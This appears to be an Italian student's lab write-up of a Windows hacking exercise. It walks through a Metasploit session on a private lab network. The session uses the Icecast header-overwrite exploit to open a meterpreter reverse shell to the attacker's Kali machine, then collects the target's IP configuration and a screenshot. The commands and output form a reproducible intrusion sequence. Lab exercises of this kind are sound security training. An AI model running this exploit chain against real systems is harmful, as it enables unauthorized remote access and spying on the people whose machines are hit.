

ESERCIZIO HACKING WINDOWS

1. Come primo step eseguo un controllo IP delle macchine ed avvio msfconsole:

```
(kali㉿kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:e6:4a:9c brd ff:ff:ff:ff:ff:ff
    inet 192.168.150.11/24 brd 192.168.150.255 scope global dynamic noprefixroute eth0
        valid_lft 6848sec preferred_lft 6848sec
    inet6 fe80::4fde:846e:3f6a:2abd/64 scope link noprefixroute
        valid_lft forever preferred_lft forever

(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: After running db_nmap, be sure to check out the result
of hosts and services

.;lX00KXXxK00x1:.
,o0WMMMMMMMMMMMMMMMMMMKd,
'xNMMMMMMMMMMMMMMMMMMMMMMMMMMWx,
:KMMMMMMMMMMMMMMMMMMMMMMMMMMK:
.KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMX,
lWMMMMMMMMMMXd: .. .. ;dKMMMMMMMMMMMo
xMMMMMMMMMMWd. .oNMMMMMMMMMMK
oMMMMMMMMMMx. dMMMMMMMMMMx
.WMMMMMMMMM: :MMMMMMMMM,
xMMMMMMMMMo lMMMMMMMMMo
NMMMMMMMMW ,ccccc0MMMMMMMMWlccccc;
MMMMMMMMMX ;KMMMMMMMMMMMMMMMMMX:
NMMMMMMMMW. ;KMMMMMMMMMMMMMMX:
xMMMMMMMMMd ,0MMMMMMMMMK;
.WMMMMMMMc '0MMMMMM0,
lMMMMMMMMMk. .kMM0'
dMMMMMMMMMMWd' ..
cWMMMMMMMMMMMMMMNxc'. #####
.oNMMMMMMMMMMMMMMWc ### ##
;0MMMMMMMMMMMMMMMo . +: +
.dNMMMMMMMMMMMMMMo +#+: ++#+
'o0WMMMMMMMMMo +: +
.,cdk00K; :+ :+
:~::~~::~~:
Metasploit

=[ metasploit v6.4.20-dev ]
+ -- ==[ 2440 exploits - 1253 auxiliary - 429 post ]
+ -- ==[ 1471 payloads - 47 encoders - 11 nops ]
+ -- ==[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
```

2. Come secondo step uso il comando search per trovare il modulo richiesto dalla traccia e una volta selezionata utilizzo il comando info per comprendere come si comporta l' exploit:

```
msf6 > search icecast

Matching Modules
=====


| # | Name                                | Disclosure Date | Rank  | Check | Description              |
|---|-------------------------------------|-----------------|-------|-------|--------------------------|
| 0 | exploit/windows/http/icecast_header | 2004-09-28      | great | No    | Icecast Header Overwrite |



Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/icecast_header

msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/icecast_header) > info

Name: Icecast Header Overwrite
Module: exploit/windows/http/icecast_header
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2004-09-28

Provided by:
spoonm <spoonm@no$email.com>
Luigi Auriemma <aluigi@autistici.org>

Available targets:


| Id | Name      |
|----|-----------|
| 0  | Automatic |



Check supported:
No

Basic options:


| Name   | Current Setting | Required | Description                                                                                            |
|--------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| RHOSTS |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT  | 8000            | yes      | The target port (TCP)                                                                                  |



Payload information:
Space: 2000
Avoid: 3 characters
```

3. Come terzo step ho usato il comando options per vedere la struttura dell'exploit e settato quello che mancava (ho settato RHOSTS con l IP del target) e ho lanciato l'exploit con run:

```
msf6 exploit(windows/http/icecast_header) > options
```

Module options (exploit/windows/http/icecast_header):

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	8000	yes	The target port (TCP)

Payload options (windows/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	192.168.150.11	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
--	---
0	Automatic

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(windows/http/icecast_header) > set rhosts 192.168.150.12
```

```
rhosts => 192.168.150.12
```

```
msf6 exploit(windows/http/icecast_header) > run
```

```
[*] Started reverse TCP handler on 192.168.150.11:4444
```

```
[*] Sending stage (176198 bytes) to 192.168.150.12
```

```
[*] Meterpreter session 1 opened (192.168.150.11:4444 -> 192.168.150.12:49515) at 2024-09-26 04:24:09 -0400
```

4. Una volta notato che l'exploit ha avuto successo ho utilizzato meterpreter per ottenere quanto richiesto dalla traccia , ovvero IP e screenshot del target:

```
meterpreter > machine_id
[+] Machine ID: afb123275c552674b81d4d7bbf533b21
meterpreter > ipconfig

Interface 1
=====
Name       : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU        : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 4
=====
Name       : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:7f:da:b7
MTU        : 1500
IPv4 Address : 192.168.150.12
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::d472:9dec:8f92:41e3
IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 5
=====
Name       : Microsoft Teredo Tunneling Adapter
Hardware MAC : 00:00:00:00:00:00
MTU        : 1280
IPv6 Address : 2001:0:2851:782c:84e:d010:af49:7543
IPv6 Netmask : ffff:ffff:ffff:ffff::
IPv6 Address : fe80::84e:d010:af49:7543
IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 6
=====
Name       : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU        : 1280
IPv6 Address : fe80::5efe:c0a8:960c
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

meterpreter > screenshot
Screenshot saved to: /home/kali/SFwmlBrV.jpeg
meterpreter > █
```

